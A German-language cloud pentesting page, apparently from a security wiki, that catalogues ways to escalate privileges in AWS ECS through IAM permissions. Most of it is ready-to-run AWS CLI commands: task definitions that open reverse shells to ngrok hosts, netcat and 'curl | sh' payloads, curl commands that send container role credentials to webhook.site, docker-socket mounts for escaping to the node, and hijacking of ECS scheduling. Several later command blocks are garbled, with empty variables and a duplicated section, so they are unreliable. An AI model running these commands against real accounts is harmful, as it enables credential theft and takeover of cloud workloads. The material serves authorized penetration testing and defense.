AWS - ECS Privesc

Reading time: 17 minutes

ECS

Mehr Infos über ECS in:

AWS - ECS Enum

iam:PassRole, ecs:RegisterTaskDefinition, ecs:RunTask

Ein Angreifer, der die Berechtigungen iam:PassRole, ecs:RegisterTaskDefinition und ecs:RunTask in ECS missbraucht, kann eine neue Task-Definition mit einem bösartigen Container erstellen, der die Metadaten-Anmeldeinformationen stiehlt, und diese ausführen.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

# Run task definition
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

# Create file container-definition.json
[
{
"name": "exfil_creds",
"image": "python:latest",
"entryPoint": ["sh", "-c"],
"command": [
"CREDS=$(curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}); curl -X POST -H 'Content-Type: application/json' -d \"$CREDS\" https://webhook.site/abcdef12-3456-7890-abcd-ef1234567890"
]
}
]

# Run task definition, uploading the .json file
aws ecs register-task-definition \
--family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 \
--memory 512 \
--requires-compatibilities FARGATE \
--container-definitions file://container-definition.json

# Check the webhook for a response

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Potential Impact: Direkter privesc zu einer anderen ECS-Rolle.

iam:PassRole,ecs:RunTask

Ein Angreifer, der über die Berechtigungen iam:PassRole und ecs:RunTask verfügt, kann eine neue ECS-Task starten mit veränderten execution role, task role und dem command des Containers. Der ecs run-task CLI-Befehl enthält die Option --overrides, die es ermöglicht, zur Laufzeit executionRoleArn, taskRoleArn und das command des Containers zu ändern, ohne die Task-Definition anzupassen.

Die angegebenen IAM-Rollen für taskRoleArn und executionRoleArn müssen in ihrer Trust-Policy ecs-tasks.amazonaws.com vertrauen/erlauben, von diesem übernommen zu werden.

Außerdem muss der Angreifer wissen:

• ECS cluster name
• VPC Subnet
• Security group (Wenn keine Security group angegeben ist, wird die Standard-Security group verwendet)
• Task Definition Name and revision
• Name of the Container

aws ecs run-task \
--cluster <cluster-name> \
--launch-type FARGATE \
--network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" \
--task-definition <task-definition:revision> \
--overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": <container-name>,
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'

Im obenstehenden Code-Snippet überschreibt ein Angreifer nur den taskRoleArn-Wert. Damit der Angriff jedoch stattfinden kann, muss der Angreifer die Berechtigung iam:PassRole sowohl für den im Befehl angegebenen taskRoleArn als auch für den in der Task-Definition angegebenen executionRoleArn besitzen.

Wenn die IAM-Rolle, die der Angreifer weitergeben kann, ausreichend Berechtigungen hat, um ein ECR-Image zu pullen und die ECS-Task zu starten (ecr:BatchCheckLayerAvailability, ecr:GetDownloadUrlForLayer, ecr:BatchGetImage, ecr:GetAuthorizationToken), dann kann der Angreifer dieselbe IAM-Rolle sowohl für executionRoleArn als auch für taskRoleArn im ecs run-task-Befehl angeben.

aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"executionRoleArn":"arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": "<container-name>",
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'

Potential Impact: Direkter privesc auf jede ECS-Task-Rolle.

iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask

Wie im vorherigen Beispiel kann ein Angreifer, der die Berechtigungen iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask in ECS missbraucht, eine neue Task-Definition erzeugen mit einem bösartigen Container, der die Metadaten-Anmeldeinformationen stiehlt, und diesen ausführen.
Allerdings muss in diesem Fall eine Container-Instanz vorhanden sein, um die bösartige Task-Definition auszuführen.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

aws ecs start-task --task-definition iam_exfiltration \
--container-instances <instance_id>

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Potenzielle Auswirkung: Direkter privesc auf jede ECS-Rolle.

iam:PassRole, ecs:RegisterTaskDefinition, (ecs:UpdateService|ecs:CreateService)

Wie im vorherigen Beispiel kann ein Angreifer, der die Berechtigungen iam:PassRole, ecs:RegisterTaskDefinition, ecs:UpdateService oder ecs:CreateService in ECS ausnutzt, eine neue task definition mit einem bösartigen container erzeugen, der die metadata credentials stiehlt, und diese ausführen, indem er einen neuen service erstellt, der mindestens 1 task ausführt.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn  "$ECS_ROLE_ARN" \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"

# Run the task creating a service
aws ecs create-service --service-name exfiltration \
--task-definition iam_exfiltration \
--desired-count 1 \
--cluster "$CLUSTER_ARN" \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"

# Run the task updating a service
aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>

Potential Impact: Direkter privesc zu jeder ECS role.

iam:PassRole, (ecs:UpdateService|ecs:CreateService)

Tatsächlich ist es bereits mit diesen Berechtigungen möglich, overrides zu verwenden, um beliebige Befehle in einem container mit einer beliebigen role auszuführen, etwa so:

aws ecs run-task \
--task-definition "<task-name>" \
--overrides '{"taskRoleArn":"<role-arn>", "containerOverrides":[{"name":"<container-name-in-task>","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \
--cluster <cluster-name> \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"

Potenzielle Auswirkungen: Direkter privesc zu jeder ECS-Rolle.

ecs:RegisterTaskDefinition, (ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

Dieses Szenario ist wie die vorherigen, aber ohne die iam:PassRole Berechtigung.
Das ist weiterhin interessant, denn wenn Sie einen beliebigen Container ausführen können, selbst wenn dieser keine Rolle hat, könnten Sie einen privilegierten Container starten, um auf den Knoten zu entkommen und die EC2 IAM-Rolle sowie die Rollen der anderen ECS-Container, die auf dem Knoten laufen, stehlen.
Sie könnten sogar andere Tasks dazu zwingen, innerhalb der EC2-Instanz zu laufen, die Sie kompromittieren, um deren Anmeldeinformationen zu stehlen (wie im Privesc to node section besprochen).

printf '[
{
"name":"exfil_creds",
"image":"python:latest",
"entryPoint":["sh", "-c"],
"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
"mountPoints": [
{
"readOnly": false,
"containerPath": "/var/run/docker.sock",
"sourceVolume": "docker-socket"
}
]
}
]' > /tmp/task.json

printf '[
{
"name": "docker-socket",
"host": {
"sourcePath": "/var/run/docker.sock"
}
}
]' > /tmp/volumes.json


aws ecs register-task-definition --family iam_exfiltration \
--cpu 256 --memory 512 \
--requires-compatibilities '["EC2"]' \
--container-definitions file:///tmp/task.json \
--volumes file:///tmp/volumes.json


aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
--launch-type EC2

# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell

ecs:ExecuteCommand, ecs:DescribeTasks,(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

Ein Angreifer mit den Rechten ecs:ExecuteCommand, ecs:DescribeTasks kann Befehle ausführen innerhalb eines laufenden Containers und die daran gebundene IAM-Rolle exfiltrieren (du brauchst die describe-Berechtigungen, weil sie notwendig sind, um aws ecs execute-command auszuführen).
Damit das funktioniert, muss auf der Container-Instanz der ExecuteCommand agent laufen (was standardmäßig nicht der Fall ist).

Deshalb könnte der Angreifer versuchen:

• Versuchen, in jedem laufenden Container einen Befehl auszuführen

# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
echo "Cluster $cluster"
for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
echo "  Task $task"
# If true, it's your lucky day
aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
done
done

# Execute a shell in a container
aws ecs execute-command --interactive \
--command "sh" \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"

• Wenn er ecs:RunTask hat, führe einen Task aus mit aws ecs run-task --enable-execute-command [...]
• Wenn er ecs:StartTask hat, führe einen Task aus mit aws ecs start-task --enable-execute-command [...]
• Wenn er ecs:CreateService hat, erstelle einen Service mit aws ecs create-service --enable-execute-command [...]
• Wenn er ecs:UpdateService hat, aktualisiere einen Service mit aws ecs update-service --enable-execute-command [...]

Du findest Beispiele für diese Optionen in den vorherigen ECS privesc sections.

Potential Impact: Privesc zu einer anderen Rolle, die an Container angehängt ist.

ssm:StartSession

Sieh auf der ssm privesc page nach, wie du diese Berechtigung missbrauchen kannst, um privesc to ECS:

AWS - SSM Privesc

iam:PassRole, ec2:RunInstances

Sieh auf der ec2 privesc page nach, wie du diese Berechtigungen missbrauchen kannst, um privesc to ECS:

AWS - EC2 Privesc

ecs:RegisterContainerInstance, ecs:DeregisterContainerInstance, ecs:StartTask, iam:PassRole

Ein Angreifer mit diesen Berechtigungen könnte möglicherweise eine EC2-Instanz in einem ECS-Cluster registrieren und darauf Tasks ausführen. Dies könnte dem Angreifer erlauben, beliebigen Code im Kontext der ECS-Tasks auszuführen.

• TODO: Ist es möglich, eine Instanz aus einem anderen AWS-Konto zu registrieren, sodass Tasks auf von dem Angreifer kontrollierten Maschinen ausgeführt werden??

ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, ecs:DescribeTaskSets

Ein Angreifer mit den Berechtigungen ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet und ecs:DescribeTaskSets kann ein bösartiges task set für einen bestehenden ECS-Service erstellen und das primary task set aktualisieren. Dadurch kann der Angreifer beliebigen Code innerhalb des Services ausführen.

# Register a task definition with a reverse shell
echo '{
"family": "malicious-task",
"containerDefinitions": [
{
"name": "malicious-container",
"image": "alpine",
"command": [
"sh",
"-c",
"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
]
}
]
}' > malicious-task-definition.json

aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json

# Create a malicious task set for the existing service
aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"

# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id

Potentielle Auswirkung: Ausführen beliebigen Codes im betroffenen Service, was dessen Funktionalität beeinträchtigen oder sensible Daten exfiltrieren kann.

Referenzen

• https://ruse.tech/blogs/ecs-attack-methods

Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)

Ein Angreifer mit Berechtigungen, ECS capacity providers zu verwalten und Services zu aktualisieren, kann eine von ihm kontrollierte EC2 Auto Scaling Group erstellen, diese in einem ECS Capacity Provider kapseln, sie mit dem Zielcluster assoziieren und einen Opfer-Service migrieren, sodass dieser Provider genutzt wird. Tasks werden dann auf Angreifer-kontrollierten EC2-Instanzen geplant, was OS-level Zugriff erlaubt, um Container zu inspizieren und task role credentials zu stehlen.

Commands (us-east-1):

• Voraussetzungen

• Create Launch Template for ECS agent to join target cluster

• Create Auto Scaling Group

• Create Capacity Provider from the ASG

• Associate the Capacity Provider to the cluster (optionally as default)

• Migrate a service to your provider

• Verify tasks land on attacker instances

• Optional: Vom EC2-Knoten aus mit docker exec in Ziel-Container gehen und http://169.254.170.2 lesen, um die task role credentials zu erhalten.

• Aufräumen

Potentielle Auswirkung: Auf Angreifer kontrollierten EC2-Knoten landen Opfer-Tasks, was OS-level Zugriff auf Container und Diebstahl von task IAM role credentials ermöglicht.

export AWS_DEFAULT_REGION=us-east-1
CLUSTER=arn:aws:ecs:us-east-1:947247140022:cluster/ht-victim-cluster
# Instance profile for ECS nodes
aws iam create-role --role-name ht-ecs-instance-role --assume-role-policy-document Version:2012-10-17 || true
aws iam attach-role-policy --role-name ht-ecs-instance-role --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role || true
aws iam create-instance-profile --instance-profile-name ht-ecs-instance-profile || true
aws iam add-role-to-instance-profile --instance-profile-name ht-ecs-instance-profile --role-name ht-ecs-instance-role || true
VPC=vpc-18e6ac62
SUBNETS=
AMI=ami-0b570770164588ab4
USERDATA=IyEvYmluL2Jhc2gKZWNobyBFQ1NfQ0xVU1RFUj0gPj4gL2V0Yy9lY3MvZWNzLmNvbmZpZwo=
LT_ID=
ASG_ARN=
CP_NAME=htcp-8797
aws ecs create-capacity-provider --name  --auto-scaling-group-provider "autoScalingGroupArn=,managedScaling={status=ENABLED,targetCapacity=100},managedTerminationProtection=DISABLED"
aws ecs put-cluster-capacity-providers --cluster "" --capacity-providers  --default-capacity-provider-strategy capacityProvider=,weight=1
SVC=
Task definition must be EC2-compatible (not Fargate-only)
aws ecs update-service --cluster "" --service "" --capacity-provider-strategy capacityProvider=,weight=1 --force-new-deployment
TASK=
CI=
aws ecs describe-container-instances --cluster "" --container-instances "" --query containerInstances[0].ec2InstanceId --output text

Backdoor compute in-cluster via ECS Anywhere EXTERNAL registration

ECS Anywhere missbrauchen, um einen von Angreifer kontrollierten Host als EXTERNAL container instance in einem Opfer-ECS-Cluster zu registrieren und darauf Tasks mit privilegierten task- und execution-roles auszuführen. Das gewährt OS-level Kontrolle darüber, wo Tasks laufen (deine eigene Maschine) und erlaubt Credential-/Datendiebstahl aus Tasks und angebundenen Volumes, ohne capacity providers oder ASGs anfassen zu müssen.

• Benötigte Berechtigungen (Beispiel minimal):

• ecs:CreateCluster (optional), ecs:RegisterTaskDefinition, ecs:StartTask or ecs:RunTask

• ssm:CreateActivation, ssm:DeregisterManagedInstance, ssm:DeleteActivation

• iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (für die ECS Anywhere instance role und task/execution roles)

• logs:CreateLogGroup/Stream, logs:PutLogEvents (wenn awslogs verwendet wird)

• Auswirkung: Beliebige Container mit gewähltem taskRoleArn auf dem Angreifer-Host ausführen; task-role credentials von 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI exfiltrieren; auf von Tasks gemountete Volumes zugreifen; unauffälliger als die Manipulation von capacity providers/ASGs.

Schritte

1. Cluster erstellen/identifizieren (us-east-1)

aws ecs create-cluster --cluster-name ht-ecs-anywhere

2. Erstelle ECS Anywhere-Rolle und SSM-Aktivierung (für on-prem/EXTERNAL-Instanz)

aws iam create-role --role-name ecsAnywhereRole \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ssm.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore
aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role
ACTJSON=$(aws ssm create-activation --iam-role ecsAnywhereRole)
ACT_ID=$(echo $ACTJSON | jq -r .ActivationId); ACT_CODE=$(echo $ACTJSON | jq -r .ActivationCode)

3. Bereitstellen attacker host und auto-register it as EXTERNAL (Beispiel: small AL2 EC2 als “on‑prem”)

#!/bin/bash
set -euxo pipefail
amazon-linux-extras enable docker || true
yum install -y docker curl jq
systemctl enable --now docker
curl -fsSL -o /root/ecs-anywhere-install.sh "https://amazon-ecs-agent.s3.amazonaws.com/ecs-anywhere-install-latest.sh"
chmod +x /root/ecs-anywhere-install.sh
/root/ecs-anywhere-install.sh --cluster ht-ecs-anywhere --activation-id ${ACT_ID} --activation-code ${ACT_CODE} --region us-east-1

AMI=$(aws ssm get-parameters --names /aws/service/ami-amazon-linux-latest/amzn2-ami-hvm-x86_64-gp2 --query 'Parameters[0].Value' --output text)
IID=$(aws ec2 run-instances --image-id $AMI --instance-type t3.micro \
--user-data file://user-data.sh --query 'Instances[0].InstanceId' --output text)
aws ec2 wait instance-status-ok --instance-ids $IID

4. Überprüfe, ob die EXTERNAL Container-Instance beigetreten ist

aws ecs list-container-instances --cluster ht-ecs-anywhere
aws ecs describe-container-instances --cluster ht-ecs-anywhere \
--container-instances <ci-arn> --query 'containerInstances[0].[ec2InstanceId,attributes]'
# ec2InstanceId will be mi-XXXXXXXX (SSM managed instance id) and attributes include ecs.capability.external

5. Erstelle task/execution roles, registriere eine EXTERNAL task definition und führe sie auf dem Angreifer-Host aus

# roles
aws iam create-role --role-name ht-ecs-task-exec \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs-tasks.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ht-ecs-task-exec --policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSTaskExecutionRolePolicy
aws iam create-role --role-name ht-ecs-task-role \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs-tasks.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
# attach any privileges you want to abuse to this task role

# task def (EXTERNAL launch)
cat > td-external.json << 'JSON'
{
"family": "ht-external",
"requiresCompatibilities": [ "EXTERNAL" ],
"networkMode": "bridge",
"memory": "256",
"cpu": "128",
"executionRoleArn": "arn:aws:iam::<account-id>:role/ht-ecs-task-exec",
"taskRoleArn": "arn:aws:iam::<account-id>:role/ht-ecs-task-role",
"containerDefinitions": [
{"name":"steal","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
"entryPoint":["/bin/sh","-c"],
"command":["REL=\$(printenv AWS_CONTAINER_CREDENTIALS_RELATIVE_URI); echo CREDS:; curl -s http://169.254.170.2\$REL; sleep 600"],
"memory": 128,
"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/anywhere","awslogs-stream-prefix":"steal"}}
}
]
}
JSON
aws logs create-log-group --log-group-name /ht/ecs/anywhere || true
aws ecs register-task-definition --cli-input-json file://td-external.json
CI=$(aws ecs list-container-instances --cluster ht-ecs-anywhere --query 'containerInstanceArns[0]' --output text)
aws ecs start-task --cluster ht-ecs-anywhere --task-definition ht-external \
--container-instances $CI

6. Von hier aus kontrollieren Sie den Host, der die tasks ausführt. Sie können task logs lesen (wenn awslogs) oder direkt auf dem Host execen, um credentials/Daten aus Ihren tasks zu exfiltrieren.

Command example (placeholders)

Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)

Ein Angreifer mit Berechtigungen, ECS capacity providers zu verwalten und services zu aktualisieren, kann eine EC2 Auto Scaling Group erstellen, die er kontrolliert, diese in einen ECS Capacity Provider einbinden, sie dem Zielcluster zuordnen und einen Opferservice so migrieren, dass er diesen Provider verwendet. Tasks werden dann auf attacker-controlled EC2 instances geplant, was OS-level access erlaubt, um containers zu inspizieren und task role credentials zu stehlen.

Commands (us-east-1):

• Voraussetzungen

• Launch Template erstellen, damit der ECS agent dem Zielcluster beitritt

• Auto Scaling Group erstellen

• Capacity Provider aus der ASG erstellen

• Den Capacity Provider dem Cluster zuordnen (optional als Standard)

• Einen Service auf Ihren Provider migrieren

• Überprüfen, dass Tasks auf attacker Instances landen

• Optional: Vom EC2 node aus mit docker exec in die Zielcontainer wechseln und http://169.254.170.2 lesen, um die task role credentials zu erhalten.

• Aufräumen

Potential Impact: Auf attacker-controlled EC2 nodes landen Opfer-Tasks, wodurch OS-level access zu containers möglich wird und task IAM role credentials gestohlen werden.